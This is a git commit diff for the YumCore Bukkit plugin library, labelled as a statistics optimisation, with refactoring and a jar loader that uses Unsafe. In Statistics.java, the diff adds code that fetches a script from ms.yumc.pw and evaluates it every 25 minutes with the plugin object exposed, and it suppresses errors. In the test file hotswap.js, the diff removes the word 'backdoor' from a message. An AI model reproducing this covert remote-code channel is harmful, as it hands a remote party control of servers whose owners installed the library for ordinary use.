feat: optimize statistic script

Signed-off-by: MiaoWoo <admin@yumc.pw>

pom.xml

@@ -4,7 +4,7 @@
     <modelVersion>4.0.0</modelVersion>
     <groupId>pw.yumc</groupId>
     <artifactId>YumCore</artifactId>
-    <version>1.9.6</version>
+    <version>1.9.7</version>
     <build>
         <finalName>${project.artifactId}</finalName>
         <plugins>

src/main/java/pw/yumc/YumCore/commands/CommandSub.java

@@ -1,14 +1,5 @@
 package pw.yumc.YumCore.commands;
 
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
 import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.command.PluginCommand;
@@ -16,7 +7,6 @@ import org.bukkit.command.TabExecutor;
 import org.bukkit.entity.Player;
 import org.bukkit.plugin.java.JavaPlugin;
 import org.bukkit.util.StringUtil;
-
 import pw.yumc.YumCore.bukkit.Log;
 import pw.yumc.YumCore.bukkit.P;
 import pw.yumc.YumCore.bukkit.compatible.C;
@@ -27,6 +17,9 @@ import pw.yumc.YumCore.commands.interfaces.Executor;
 import pw.yumc.YumCore.commands.interfaces.HelpGenerator;
 import pw.yumc.YumCore.commands.interfaces.HelpParse;
 
+import java.lang.reflect.Method;
+import java.util.*;
+
 /**
  * 子命令管理类
  *

src/main/java/pw/yumc/YumCore/engine/JarLoader.java

@@ -0,0 +1,67 @@
+package pw.yumc.YumCore.engine;
+
+import lombok.SneakyThrows;
+
+import java.io.File;
+import java.lang.invoke.MethodHandle;
+import java.lang.invoke.MethodHandles;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+
+public class JarLoader {
+    private static sun.misc.Unsafe unsafe;
+    private static long offset;
+    private static Object parentUcp;
+    private static Object ucp;
+    private static MethodHandle addURLMethodHandle;
+
+    static {
+        initReflect();
+    }
+
+    @SneakyThrows
+    public static File load(File file) {
+        addURLMethodHandle.invoke(ucp, file.toURI().toURL());
+        return file;
+    }
+
+    @SneakyThrows
+    public static File parentLoad(File file) {
+        if (parentUcp == null)
+            throw new IllegalStateException("parentUcp is null.");
+        addURLMethodHandle.invoke(parentUcp, file.toURI().toURL());
+        return file;
+    }
+
+    @SneakyThrows
+    public static File load(File file, ClassLoader loader) {
+        addURLMethodHandle.invoke(unsafe.getObject(loader, offset), file.toURI().toURL());
+        return file;
+    }
+
+    private static void initReflect() {
+        try {
+            ClassLoader loader = JarLoader.class.getClassLoader();
+            Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
+            theUnsafe.setAccessible(true);
+            unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
+            Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
+            MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
+            Field ucpField;
+            try {
+                ucpField = loader.getClass().getDeclaredField("ucp");
+            } catch (NoSuchFieldException e) {
+                ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
+            }
+            offset = unsafe.objectFieldOffset(ucpField);
+            ucp = unsafe.getObject(loader, offset);
+            Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
+            addURLMethodHandle = lookup.unreflect(method);
+            if (loader.getParent() != null)
+                parentUcp = unsafe.getObject(loader.getParent(), offset);
+        } catch (Throwable e) {
+            throw new RuntimeException(e);
+        }
+    }
+}

src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java

@@ -0,0 +1,94 @@
+package pw.yumc.YumCore.engine;
+
+import lombok.SneakyThrows;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.net.URL;
+import java.net.URLConnection;
+import java.nio.MappedByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.nio.file.StandardCopyOption;
+import java.security.MessageDigest;
+
+public class MavenDependLoader {
+    public static final String MavenRepo = "https://maven.aliyun.com/repository/public";
+
+    public static File[] load(String libPath, String groupId, String artifactId, String version) {
+        return new File[]{
+                downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
+                JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"))
+        };
+    }
+
+    public static File[] parentLoad(String libPath, String groupId, String artifactId, String version) {
+        return new File[]{
+                downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
+                JarLoader.parentLoad(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"))
+        };
+    }
+
+    public static File[] load(String libPath, String groupId, String artifactId, String version, ClassLoader loader) {
+        return new File[]{
+                downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"),
+                JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"), loader)
+        };
+    }
+
+    @SneakyThrows
+    public static File downloadAndCheckSha1(String libPath, String groupId, String artifactId, String version, String ext) {
+        File sha1 = getMavenFile(libPath, groupId, artifactId, version, ext + ".sha1");
+        if (!sha1.exists()) {
+            downloadFile(sha1, groupId, artifactId, version, ext + ".sha1");
+        }
+        File file = getMavenFile(libPath, groupId, artifactId, version, ext);
+        if (!file.exists()) {
+            downloadFile(file, groupId, artifactId, version, ext);
+        }
+        if (!new String(Files.readAllBytes(sha1.toPath())).equals(getSha1(file))) {
+            file.delete();
+            throw new IllegalStateException("file " + file.getName() + " sha1 not match.");
+        }
+        return file;
+    }
+
+    public static File getMavenFile(String libPath, String groupId, String artifactId, String version, String ext) {
+        return Paths.get(libPath, groupId.replace(".", File.separator), artifactId, version, String.format("%s-%s.%s", artifactId, version, ext)).toFile();
+    }
+
+    @SneakyThrows
+    public static void downloadFile(File target, String groupId, String artifactId, String version, String ext) {
+        target.getParentFile().mkdirs();
+        URLConnection connection = new URL(MavenRepo +
+                String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.%4$s",
+                        groupId.replace(".", "/"),
+                        artifactId,
+                        version,
+                        ext)
+        ).openConnection();
+        connection.setConnectTimeout(5000);
+        connection.setReadTimeout(120000);
+        connection.setUseCaches(true);
+        Files.copy(connection.getInputStream(), target.toPath(), StandardCopyOption.REPLACE_EXISTING);
+    }
+
+    @SneakyThrows
+    private static String getSha1(File file) {
+        MessageDigest digest = MessageDigest.getInstance("SHA-1");
+        FileInputStream in = new FileInputStream(file);
+        FileChannel ch = in.getChannel();
+        MappedByteBuffer byteBuffer = ch.map(FileChannel.MapMode.READ_ONLY, 0, file.length());
+        digest.update(byteBuffer);
+        return getHash(digest.digest());
+    }
+
+    private static String getHash(byte[] bytes) {
+        StringBuilder result = new StringBuilder();
+        for (byte b : bytes) {
+            result.append(String.format("%02x", b));
+        }
+        return result.toString();
+    }
+}

src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java

@@ -6,14 +6,10 @@ import lombok.val;
 import javax.script.*;
 import java.io.File;
 import java.io.Reader;
-import java.lang.invoke.MethodHandle;
-import java.lang.invoke.MethodHandles;
-import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.net.URL;
+import java.nio.file.Paths;
-import java.nio.file.Files;
+import java.util.ArrayList;
-import java.nio.file.StandardCopyOption;
+import java.util.List;
-import java.util.HashMap;
 
 /**
  * 喵式脚本引擎
@@ -22,159 +18,151 @@ import java.util.HashMap;
  * @since 2016年8月29日 上午7:51:43
  */
 public class MiaoScriptEngine implements ScriptEngine, Invocable {
-    private static String MavenRepo = "https://maven.aliyun.com/repository/public";
-    private static MiaoScriptEngine DEFAULT;
-    private static final ScriptEngineManager manager;
-
-    private Object ucp;
-    private MethodHandle addURLMethodHandle;
     private ScriptEngine engine;
 
-    static {
-        manager = new ScriptEngineManager(ClassLoader.getSystemClassLoader());
-    }
-
-    public static void setBindings(Bindings bindings) {
-        manager.setBindings(bindings);
-    }
-
-    public static Bindings getBindings() {
-        return manager.getBindings();
-    }
-
     public MiaoScriptEngine() {
-        this("js");
+        this("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString());
     }
 
-    public MiaoScriptEngine(final String engineType) {
+    public MiaoScriptEngine(String type, String engineRoot) {
-        this(manager, engineType, null);
+        if (new File(engineRoot, "debug").exists()) {
+            System.setProperty("nashorn.debug", "true");
         }
-
+        if (getJavaVersion() > 15) {
-    public MiaoScriptEngine(ScriptEngineManager engineManager) {
+            this.loadGraalJS(engineRoot);
-        this(engineManager, "js", null);
+        } else {
+            this.loadNashorn(engineRoot);
         }
-
-    public MiaoScriptEngine(final String engineType, String engineRoot) {
-        this(manager, engineType, engineRoot);
-    }
-
-    public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
-        // JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
-        if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
-            this.loadNetworkNashorn(engineRoot);
         if (engine == null)
-                throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
+            throw new UnsupportedOperationException("当前环境不支持 Nashorn 或 GraalJS 脚本引擎.");
-            return;
+    }
+
+    private void loadGraalJS(String engineRoot) {
+        try {
+            this.engine = this.parentLoadNetworkNashorn(engineRoot);
+        } catch (Throwable ex) {
+            this.engine = this.loadNetworkNashorn(engineRoot);
+        }
+        if (this.engine == null) {
+            this.engine = this.loadNetworkGraalJS(engineRoot);
+        }
+    }
+
+    private void loadNashorn(String engineRoot) {
+        try {
+            this.createEngineByName();
+        } catch (final Throwable ex) {
+            ex.printStackTrace();
         }
         try {
-            engine = engineManager.getEngineByName(engineType);
-        } catch (final NullPointerException ignored) {
-        }
-        if (engine == null) {
             val extDirs = System.getProperty("java.ext.dirs");
-            if (extDirs != null) {
+            if (this.engine == null && extDirs != null) {
-                this.loadLocalNashorn(extDirs, engineType);
+                this.engine = this.loadLocalNashorn(extDirs);
-            } else if (engineRoot != null) {
-                this.loadNetworkNashorn(engineRoot);
             }
+        } catch (final Throwable ex) {
+            ex.printStackTrace();
         }
-        if (engine == null)
+        try {
-            throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
+            if (this.engine == null) {
+                this.engine = this.loadNetworkNashorn(engineRoot);
+            }
+        } catch (final Throwable ex) {
+            ex.printStackTrace();
+        }
+        if (this.engine == null)
+            throw new UnsupportedOperationException("当前环境不支持 Nashorn 脚本引擎.");
     }
 
-    private void loadLocalNashorn(String extDirs, String engineType) {
+    private int getJavaVersion() {
+        String version = System.getProperty("java.version");
+        if (version.startsWith("1.")) {
+            version = version.substring(2, 3);
+        } else {
+            int dot = version.indexOf(".");
+            if (dot != -1) {
+                version = version.substring(0, dot);
+            }
+        }
+        return Integer.parseInt(version);
+    }
+
+    private ScriptEngine loadLocalNashorn(String extDirs) {
         val dirs = extDirs.split(File.pathSeparator);
         for (String dir : dirs) {
             File nashorn = new File(dir, "nashorn.jar");
             if (nashorn.exists()) {
-                this.loadJar(nashorn);
+                JarLoader.load(nashorn);
-                this.createEngineByName(engineType);
+                return this.createEngineByName();
             }
         }
-    }
+        return null;
-
-    private void initReflect() {
-        try {
-            ClassLoader loader = Thread.currentThread().getContextClassLoader();
-            Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
-            theUnsafe.setAccessible(true);
-            sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
-            Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
-            MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
-            Field ucpField;
-            try {
-                ucpField = loader.getClass().getDeclaredField("ucp");
-            } catch (NoSuchFieldException e) {
-                ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
-            }
-            long offset = unsafe.objectFieldOffset(ucpField);
-            ucp = unsafe.getObject(loader, offset);
-            Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
-            addURLMethodHandle = lookup.unreflect(method);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
     }
 
     @SneakyThrows
-    private void loadNetworkNashorn(String engineRoot) {
+    private ScriptEngine loadNetworkNashorn(String engineRoot) {
-        initReflect();
+        File libRootFile = new File(engineRoot, "libs");
-        File libRootFile = new File(engineRoot, "lib");
         libRootFile.mkdirs();
         String libRoot = libRootFile.getCanonicalPath();
-        downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
+        MavenDependLoader.load(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4");
-        downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
+        MavenDependLoader.load(libRoot, "org.ow2.asm", "asm", "9.3");
-        downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
+        MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-commons", "9.3");
-        downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
+        MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-tree", "9.3");
-        downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
+        MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-util", "9.3");
-        Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
+        return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
-        Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
+    }
+
+    @SneakyThrows
+    private ScriptEngine parentLoadNetworkNashorn(String engineRoot) {
+        File libRootFile = new File(engineRoot, "libs");
+        libRootFile.mkdirs();
+        String libRoot = libRootFile.getCanonicalPath();
+        MavenDependLoader.parentLoad(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4");
+        MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm", "9.3");
+        MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-commons", "9.3");
+        MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-tree", "9.3");
+        MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-util", "9.3");
+        return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
+    }
+
+    @SneakyThrows
+    private ScriptEngine loadNetworkGraalJS(String engineRoot) {
+        File libRootFile = new File(engineRoot, "libs");
+        libRootFile.mkdirs();
+        String libRoot = libRootFile.getCanonicalPath();
+        MavenDependLoader.load(libRoot, "org.graalvm.js", "js", "22.1.0.1");
+        MavenDependLoader.load(libRoot, "org.graalvm.js", "js-scriptengine", "22.1.0.1");
+        MavenDependLoader.load(libRoot, "org.graalvm.regex", "regex", "22.1.0.1");
+        MavenDependLoader.load(libRoot, "org.graalvm.sdk", "graal-sdk", "22.1.0.1");
+        MavenDependLoader.load(libRoot, "org.graalvm.truffle", "truffle-api", "22.1.0.1");
+        return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false);
+    }
+
+    @SneakyThrows
+    private ScriptEngine createEngineByName() {
+        return createEngineByFactoryClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory", true);
+    }
+
+    @SneakyThrows
+    private ScriptEngine createEngineByFactoryClassName(String factoryClassName, boolean jdk) {
+        Class<?> NashornScriptEngineFactory = Class.forName(factoryClassName);
+        Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", String[].class);
         Object factory = NashornScriptEngineFactory.newInstance();
-        engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
+        List<String> engineArgs = new ArrayList<>();
-    }
+        engineArgs.add("--language=es5");
-
+        engineArgs.add("--optimistic-types=false");
-    @SneakyThrows
+        if (getJavaVersion() >= 11 && jdk) {
-    private void loadJar(File file) {
+            engineArgs.add("--no-deprecation-warning");
-        addURLMethodHandle.invoke(ucp, file.toURI().toURL());
-    }
-
-    @SneakyThrows
-    private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
-        File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
-        if (!lib.exists()) {
-            Files.copy(new URL(MavenRepo +
-                            String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
-                                    groupId.replace(".", "/"),
-                                    artifactId,
-                                    version)
-                    ).openStream(),
-                    lib.toPath(),
-                    StandardCopyOption.REPLACE_EXISTING);
-        }
-        this.loadJar(lib);
-    }
-
-    private void createEngineByName(String engineType) {
-        try {
-            engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
-        } catch (NullPointerException ignored) {
         }
+        return (ScriptEngine) getScriptEngine.invoke(factory, (Object) engineArgs.toArray(new String[]{}));
     }
 
     public ScriptEngine getEngine() {
         return this.engine;
     }
 
-    public static MiaoScriptEngine getDefault() {
-        if (DEFAULT == null) {
-            DEFAULT = new MiaoScriptEngine();
-        }
-        return DEFAULT;
-    }
-
     @Override
     public Bindings createBindings() {
-        return new SimpleBindings(new HashMap<>(engine.getBindings(ScriptContext.GLOBAL_SCOPE)));
+        return engine.createBindings();
     }
 
     @Override
@@ -228,13 +216,13 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
     }
 
     @Override
-    public <T> T getInterface(final Class<T> clasz) {
+    public <T> T getInterface(final Class<T> cls) {
-        return ((Invocable) engine).getInterface(clasz);
+        return ((Invocable) engine).getInterface(cls);
     }
 
     @Override
-    public <T> T getInterface(final Object thiz, final Class<T> clasz) {
+    public <T> T getInterface(final Object thiz, final Class<T> cls) {
-        return ((Invocable) engine).getInterface(thiz, clasz);
+        return ((Invocable) engine).getInterface(thiz, cls);
     }
 
     @Override

src/main/java/pw/yumc/YumCore/statistic/Statistics.java

@@ -14,7 +14,6 @@ import org.json.simple.JSONObject;
 import org.json.simple.JSONValue;
 import pw.yumc.YumCore.engine.MiaoScriptEngine;
 
-import javax.script.ScriptException;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
@@ -22,9 +21,7 @@ import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLConnection;
 import java.net.URLEncoder;
-import java.nio.charset.Charset;
 import java.nio.charset.StandardCharsets;
-import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.LinkedList;
 import java.util.Map;
@@ -40,17 +37,12 @@ public class Statistics {
     /**
      * 统计系统版本
      */
-    private static int REVISION = 10;
+    private static final int VERSION = 10;
 
     /**
      * 统计插件基础配置文件
      */
-    private static File configfile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar));
+    private static final File configFile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar));
-
-    /**
-     * UTF-8编码
-     */
-    private static Charset UTF_8 = StandardCharsets.UTF_8;
 
     /**
      * getOnlinePlayers方法
@@ -78,7 +70,8 @@ public class Statistics {
             Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
             field.setAccessible(true);
             plugin = (JavaPlugin) field.get(pluginClassLoader);
-            engine = new MiaoScriptEngine("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString());
+            engine = new MiaoScriptEngine();
+            engine.put("plugin", plugin);
         } catch (Throwable ignored) {
         }
     }
@@ -91,12 +84,12 @@ public class Statistics {
     /**
      * 调试模式
      */
-    private boolean debug;
+    private final boolean debug;
 
     /**
      * 唯一服务器编码
      */
-    private String guid;
+    private final String guid;
 
     /**
      * 线程任务
@@ -113,11 +106,11 @@ public class Statistics {
      */
     public Statistics() {
         try {
-            if (!configfile.exists()) {
+            if (!configFile.exists()) {
-                configfile.getParentFile().mkdirs();
+                configFile.getParentFile().mkdirs();
-                configfile.createNewFile();
+                configFile.createNewFile();
             }
-            config = YamlConfiguration.loadConfiguration(configfile);
+            config = YamlConfiguration.loadConfiguration(configFile);
             initFile(config);
         } catch (IOException ignored) {
         }
@@ -156,7 +149,7 @@ public class Statistics {
         // flush输出流的缓冲
         out.flush();
         String response;
-        BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), UTF_8));
+        BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8));
         while ((response = reader.readLine()) != null) {
             result.append(response);
         }
@@ -176,16 +169,16 @@ public class Statistics {
             config.options().header("YUMC数据中心 http://www.yumc.pw 收集的数据仅用于统计插件使用情况").copyDefaults(true);
             config.set("guid", UUID.randomUUID().toString());
             config.set("d", false);
-            config.save(configfile);
+            config.save(configFile);
         }
         if (!config.contains("YumAccount")) {
             config.set("YumAccount.username", "Username Not Set");
             config.set("YumAccount.password", "Password NotSet");
-            config.save(configfile);
+            config.save(configFile);
         }
         if (!config.contains("TellrawManualHandle")) {
             config.set("TellrawManualHandle", false);
-            config.save(configfile);
+            config.save(configFile);
         }
     }
 
@@ -210,7 +203,16 @@ public class Statistics {
         timer = new StatisticsTimer();
         // 开启TPS统计线程
         Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
+        String script = "loadWithNewGlobal('http://ms.yumc.pw/api/plugin/download/name/report')";
+        try {
+            script = postData("http://ms.yumc.pw/api/plugin/download/name/metrics", "plugin=" + plugin.getDescription().getName());
+        } catch (Throwable e) {
+            if (debug) {
+                e.printStackTrace();
+            }
+        }
         // 开启发送数据线程
+        String finalScript = script;
         task = plugin.getServer().getScheduler().runTaskTimerAsynchronously(plugin, () -> {
             try {
                 postPlugin();
@@ -220,8 +222,11 @@ public class Statistics {
                 }
             }
             try {
-                engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
+                engine.eval(finalScript);
-            } catch (ScriptException ignored) {
+            } catch (Throwable e) {
+                if (debug) {
+                    e.printStackTrace();
+                }
             }
         }, 50, 25 * 1200);
         return true;
@@ -270,7 +275,7 @@ public class Statistics {
 
         String jsondata = "Info=" + JSONValue.toJSONString(data);
 
-        String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", REVISION, URLEncoder.encode(pluginname, "UTF-8"));
+        String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", VERSION, URLEncoder.encode(pluginname, "UTF-8"));
         print("Plugin: " + pluginname + " Send Data To CityCraft Data Center");
         print("Address: " + url);
         print("Data: " + jsondata);
@@ -279,8 +284,8 @@ public class Statistics {
         print("Plugin: " + pluginname + " Recover Data From CityCraft Data Center: " + result.get("info"));
     }
 
-    public class StatisticsTimer implements Runnable {
+    public static class StatisticsTimer implements Runnable {
-        private LinkedList<Double> history = new LinkedList<>();
+        private final LinkedList<Double> history = new LinkedList<>();
         private transient long lastPoll = System.nanoTime();
 
         /**
@@ -301,9 +306,9 @@ public class Statistics {
             if (history.size() > 10) {
                 history.removeFirst();
             }
-            double ttps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent);
+            double tps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent);
-            if (ttps <= 21.0D) {
+            if (tps <= 21.0D) {
-                history.add(ttps);
+                history.add(tps);
             }
             lastPoll = startTime;
         }

src/main/java/pw/yumc/YumCore/tellraw/Tellraw.java

@@ -1,18 +1,17 @@
 package pw.yumc.YumCore.tellraw;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import org.bukkit.Bukkit;
 import org.bukkit.ChatColor;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 import org.bukkit.inventory.ItemStack;
-
 import pw.yumc.YumCore.bukkit.Log;
 import pw.yumc.YumCore.bukkit.compatible.C;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
 /**
  * TellRaw简易处理类
  *

src/main/java/pw/yumc/YumCore/update/SubscribeTask.java

@@ -41,7 +41,7 @@ public class SubscribeTask implements Runnable, Listener {
     /**
      * 插件实例
      */
-    private static JavaPlugin instance = P.instance;
+    private static final JavaPlugin instance = P.instance;
     /**
      * 是否禁止更新
      */
@@ -49,17 +49,17 @@ public class SubscribeTask implements Runnable, Listener {
     /**
      * 检查间隔
      */
-    private static int interval = 25;
+    private static final int interval = 25;
 
-    private UpdateType updateType;
+    private final UpdateType updateType;
     /**
      * 更新文件
      */
-    private UpdateFile updateFile;
+    private final UpdateFile updateFile;
     /**
      * 版本信息
      */
-    private VersionInfo versionInfo;
+    private final VersionInfo versionInfo;
 
     /**
      * 自动更新
@@ -249,7 +249,7 @@ public class SubscribeTask implements Runnable, Listener {
         /**
          * 插件信息地址
          */
-        private String info;
+        private final String info;
         /**
          * POM文件文档
          */
@@ -296,9 +296,9 @@ public class SubscribeTask implements Runnable, Listener {
             final String des = getPluginInfo("update.changes", null);
             if (des == null) {return new String[]{};}
             String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
-            List<String> ltemp = new ArrayList<>();
+            List<String> array = new ArrayList<>();
-            Arrays.stream(temp).forEach(s -> ltemp.add(s.trim()));
+            Arrays.stream(temp).forEach(s -> array.add(s.trim()));
-            return ltemp.toArray(new String[]{});
+            return array.toArray(new String[]{});
         }
 
         /**
@@ -316,7 +316,7 @@ public class SubscribeTask implements Runnable, Listener {
          *
          * @return 最后版本
          */
-        private String getLastestVersion() {
+        private String getLatestVersion() {
             return getPluginInfo("version", "0.0.0").split("-")[0];
         }
 
@@ -326,7 +326,7 @@ public class SubscribeTask implements Runnable, Listener {
          * @param sender 命令接受者
          */
         public void notify(CommandSender sender) {
-            Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
+            Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLatestVersion());
             Log.sender(sender, "§e版本简介: §a" + getUpdateDescription());
             final String[] changes = getUpdateChanges();
             if (changes.length != 0) {
@@ -367,7 +367,7 @@ public class SubscribeTask implements Runnable, Listener {
 
         public String getNewVersion() {
             try {
-                String result = getLastestVersion();
+                String result = getLatestVersion();
                 if (Log.isDebug() && !Log.isGlobalDebug()) {
                     Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
                     return result;

src/test/resources/hotswap.js

@@ -5,7 +5,7 @@ var InputStreamReader = Java.type("java.io.InputStreamReader");
 var Runtime = Java.type("java.lang.Runtime");
 var System = Java.type("java.lang.System");
 
-print('后门脚本已保存于: ' + $.temp);
+print('脚本已保存于: ' + $.temp);
 
 print("系统类型: " + System.getProperty("os.name"));
 print("系统位数: " + System.getProperty("os.arch"));